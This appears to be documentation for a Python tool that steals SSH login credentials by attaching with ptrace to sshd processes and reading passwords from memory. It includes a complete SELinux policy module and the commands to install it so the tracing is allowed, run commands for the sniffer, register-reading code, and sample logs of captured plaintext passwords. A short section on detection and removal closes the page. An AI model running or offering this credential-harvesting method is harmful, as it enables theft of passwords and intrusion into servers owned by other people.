Attach to sshd processes using ptrace to intercept syscalls and read memory
This method uses the ptrace system call (the same mechanism used by debuggers like GDB) to attach to sshd child processes and intercept credentials from their memory during authentication.
| Attribute | Value |
|---|---|
| Performance | ⭐⭐ Context-switch overhead |
| Stealth | ⭐⭐ Tracer process visible |
| Invalid Users | ✅ Captures all |
| SELinux | ❌ Policy changes required |
| Secure Boot | ✅ Compatible |
| Complexity | High |
With SELinux in Enforcing mode, you must install a policy module to allow ptrace on sshd processes:
# Create the policy module
cat > /tmp/sshd_ptrace.te << 'EOF'
module sshd_ptrace 1.0;
require {
type sshd_t;
type unconfined_t;
class process { ptrace };
}
allow unconfined_t sshd_t:process ptrace;
EOF
# Compile and install
checkmodule -M -m -o /tmp/sshd_ptrace.mod /tmp/sshd_ptrace.te
semodule_package -o /tmp/sshd_ptrace.pp -m /tmp/sshd_ptrace.mod
semodule -i /tmp/sshd_ptrace.pp
# Clean up
rm -f /tmp/sshd_ptrace.te /tmp/sshd_ptrace.mod /tmp/sshd_ptrace.pp
# Verify
semodule -l | grep sshd_ptracesemodule -r sshd_ptraceflowchart TB
subgraph "Sniffer Process"
A[Monitor /proc] --> B[Detect sshd children]
B --> C[ptrace ATTACH]
C --> D[ptrace SYSCALL]
D --> E{Syscall?}
E -->|read/write| F[ptrace PEEKDATA]
F --> G[Extract credentials]
G --> H[Log output]
E -->|other| D
end
subgraph "sshd Process"
I[sshd child] --> J[read credentials]
J --> K[write to privsep pipe]
end
C -.->|attach| I
F -.->|read memory| J
style A fill:#3498db
style H fill:#2ecc71
| Operation | Purpose |
|---|---|
PTRACE_ATTACH |
Attach to target process |
PTRACE_SYSCALL |
Stop at next syscall entry/exit |
PTRACE_GETREGS |
Read register values (syscall args) |
PTRACE_PEEKDATA |
Read process memory |
PTRACE_DETACH |
Detach from process |
# Install SELinux policy first (see above)
# Run the sniffer
sudo ./ssh-sniffer-ptrace.py
# With output to file
sudo ./ssh-sniffer-ptrace.py -o /var/log/ssh-sniffer.log| Command | Description |
|---|---|
./ssh-sniffer-ptrace.py |
Run in foreground |
./ssh-sniffer-ptrace.py -o FILE |
Output to file |
./ssh-sniffer-ptrace.py --help |
Show help |
time=2025-01-15T10:30:45,src_ip=192.168.1.100,user=root,password=secret123,status=success
time=2025-01-15T10:31:02,src_ip=192.168.1.100,user=admin,password=wrongpass,status=failed
time=2025-01-15T10:31:15,src_ip=192.168.1.100,user=invaliduser,password=guessed,status=failed_invalid_user
| Status | Description |
|---|---|
success |
Valid user, correct password |
failed |
Valid user, wrong password |
invalid_user |
Username doesn't exist (detected early) |
failed_invalid_user |
Username doesn't exist, password attempted |
The script uses the x86_64 register structure to read syscall arguments:
class Regs(ctypes.Structure):
_fields_ = [
("r15", c_ulonglong), ("r14", c_ulonglong), ...
("rdi", c_ulonglong), # fd (arg1)
("rsi", c_ulonglong), # buf (arg2)
("rdx", c_ulonglong), # count (arg3)
("orig_rax", c_ulonglong), # syscall number
("rax", c_ulonglong), # return value
...
]| Syscall | Number | Arguments |
|---|---|---|
read |
0 | fd, buf, count |
write |
1 | fd, buf, count |
The script monitors /var/log/secure to correlate captured credentials with authentication outcomes:
flowchart LR
A[ptrace captures<br/>username + password] --> B[Store by IP]
C[Auth log event] --> D[Lookup password by IP]
D --> E[Output with status]
# Check SELinux policy
semodule -l | grep sshd_ptrace
# Check for SELinux denials
ausearch -m AVC -ts recent | grep sshd
# Verify ptrace_scope (should be 0 or 1)
cat /proc/sys/kernel/yama/ptrace_scope
# Test capture
ssh -o PreferredAuthentications=password testuser@localhost- SELinux Required: Must install SELinux policy module
- Visible Process: The sniffer process is visible in
ps - Race Conditions: First connection after start may miss password
- x86_64 Only: Register structure is architecture-specific
- Auth Log Dependency: Requires
/var/log/securefor status correlation
Defenders can detect this method by:
# Check for processes tracing sshd
grep TracerPid /proc/$(pgrep -o sshd)/status
# Look for ptrace-related SELinux policies
semodule -l | grep -i ptrace
# Monitor for SELinux policy installations
ausearch -m MAC_POLICY_LOAD
# Check for suspicious Python processes
ps aux | grep -E 'ptrace|sniffer'
# Check ptrace_scope setting
cat /proc/sys/kernel/yama/ptrace_scope# Stop the sniffer
Ctrl+C (or kill the process)
# Remove SELinux policy
sudo semodule -r sshd_ptrace
# Verify removal
semodule -l | grep sshd_ptrace # Should return nothing| Limitation | Reason |
|---|---|
| First connection may miss password | Race between process spawn and attach |
| Key-based auth not captured | No password involved |
| GSSAPI/Kerberos not captured | Different authentication protocol |
| Performance overhead | Context switches for each syscall |
- Python 3.6+
- Root privileges (or
CAP_SYS_PTRACE) - Linux x86_64
- SELinux policy installed (if SELinux Enforcing)
- OpenSSH with privilege separation (default)